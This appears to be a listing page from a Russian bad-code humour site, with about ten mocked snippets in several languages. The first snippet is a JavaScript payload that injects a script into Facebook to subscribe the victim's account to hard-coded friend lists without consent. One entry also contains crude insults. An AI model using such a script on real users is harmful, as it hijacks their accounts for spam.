1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #15943

    +160

    1. 1
    2. 2
    function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
    IbraheemNada("258964547561641");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("407255766069492");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("384263591702043");IbraheemNada("407256859402716");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("");

    Надо, Ибрагим, надо!

    kostoprav, 08 Мая 2014

    Комментарии (4)
  3. C# / Говнокод #15939

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    public static bool In<T>(this T t, params T[] values)
    {
    	return t == null ? values.Any(v => v == null) : values.Contains(t);
    }
    
    public static bool NotIn<T>(this T t, params T[] values)
    {
    	return !t.In(values);
    }

    замечательный экстэншн к object

    baks, 07 Мая 2014

    Комментарии (4)
  4. C++ / Говнокод #15826

    +68

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #include <iostream>
    
    using namespace std;
    
    unsigned ololo_div(unsigned what, unsigned by) {
        unsigned cnt=0;
        while( what>by ) {
            what-=by;
            cnt++;
        }
        if( what==0 ) cnt++;
        return cnt;
    }
    
    int main() {
        cout << ololo_div(10,0) << endl;
        return 0;
    }

    "че там делить то)))"

    http://codepad.org/nL06uX2s

    Elvenfighter, 23 Апреля 2014

    Комментарии (4)
  5. Java / Говнокод #15777

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    /**
     * 
     * 
     * @param wb
     * @param sheet
     * @param row
     * @param borderDashedRight
     * @param borderDashedLeft
     * @param borderDashedRightLeft
     * @param fulBorderCalignFont10
     * @param forSummary
     */
    private void mergeCellsForRows(HSSFWorkbook wb, HSSFSheet sheet,
    		HSSFRow row, HSSFCellStyle borderDashedRight,
    		HSSFCellStyle borderDashedLeft,
    		HSSFCellStyle borderDashedRightLeft,
    		HSSFCellStyle fulBorderCalignFont10, boolean forSummary)

    полезный javadoc

    evg_ever, 17 Апреля 2014

    Комментарии (4)
  6. C# / Говнокод #15771

    +131

    1. 1
    2. 2
    3. 3
    4. 4
    DateTime dateEst = DateTime.Now.ToEstTime();
    StringBuilder responseTime = new StringBuilder();
    responseTime.Append(dateEst.ToString("MM/dd/yyyy"));
    responseTime.Append(dateEst.ToString("  h:mm:ss tt"));

    Отображаем время ответа от сервера в удобном формате.

    vertu, 17 Апреля 2014

    Комментарии (4)
  7. C++ / Говнокод #15763

    +14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    typedef CStatisticsCalculator* (*TCalcCreator)(string&, const TUltimateStatDataPtr&);
    typedef std::map <CStatisticsCalculator::eCalcKind, boost::tuple<string, TUltimateStatDataPtr, TCalcCreator>> TCalcImplMap; 
    
    static TCalcImplMap CalcsMap;
    
    CStatisticsCalculator* CStatisticsCalculator::MakeNewCalculator(CStatisticsCalculator::eCalcKind Kind, 
                                                                    const TUltimateStatDataPtr& Data )
    {
        if (CalcsMap.empty())
        {
          CalcsMap[eCalcKind::eExtremeDealPrice] = 
            boost::make_tuple(string("be.commons.calculators.extreme_prices"), Data,
                   [](string& Name, const TUltimateStatDataPtr& Data_)->CStatisticsCalculator* 
                       { return new CExtremePricesCalculator(Name.c_str(), Data_);});
        
          CalcsMap[eCalcKind::eTurnOver] = 
            boost::make_tuple(string("be.commons.calculators.turnover"), Data,
                   [](string& Name, const TUltimateStatDataPtr& Data_)->CStatisticsCalculator* 
                       { return new CTurnOverCalculator(Name.c_str(), Data_);});
          
        };             
        
        auto i = CalcsMap.find(Kind);
        
        if (i == CalcsMap.end())
            return 0;
        
        auto& tpl = i->second;
        
        return tpl.get<2>()(tpl.get<0>(), tpl.get<1>());
    };

    Фабричный метод теперь выглядит так

    ABBAPOH, 16 Апреля 2014

    Комментарии (4)
  8. C++ / Говнокод #15753

    +9

    1. 1
    BOOST_FOREACH(auto &v, pt.get_child("root"))

    Код компилируется и написан таким изначально. Но судя по всему использует копипаст из примеров.

    laMer007, 14 Апреля 2014

    Комментарии (4)
  9. PHP / Говнокод #15741

    +128

    1. 1
    Я вернулся, вы рады?

    Дебил ХДДДДДДД

    Pizda, 12 Апреля 2014

    Комментарии (4)
  10. Java / Говнокод #15672

    +134

    1. 1
    ok = r.nextInt(prob) <= prob

    рассчитываем вероятность события...

    Lure Of Chaos, 04 Апреля 2014

    Комментарии (4)
  11. PHP / Говнокод #15671

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    \\Editing source code? CHEATER! CHEATER!
    $ps =100
    $time = $ps + $time
    
    echo $time
    \\The end.

    Я один нашёл ошибку?

    Getup1NEW, 04 Апреля 2014

    Комментарии (4)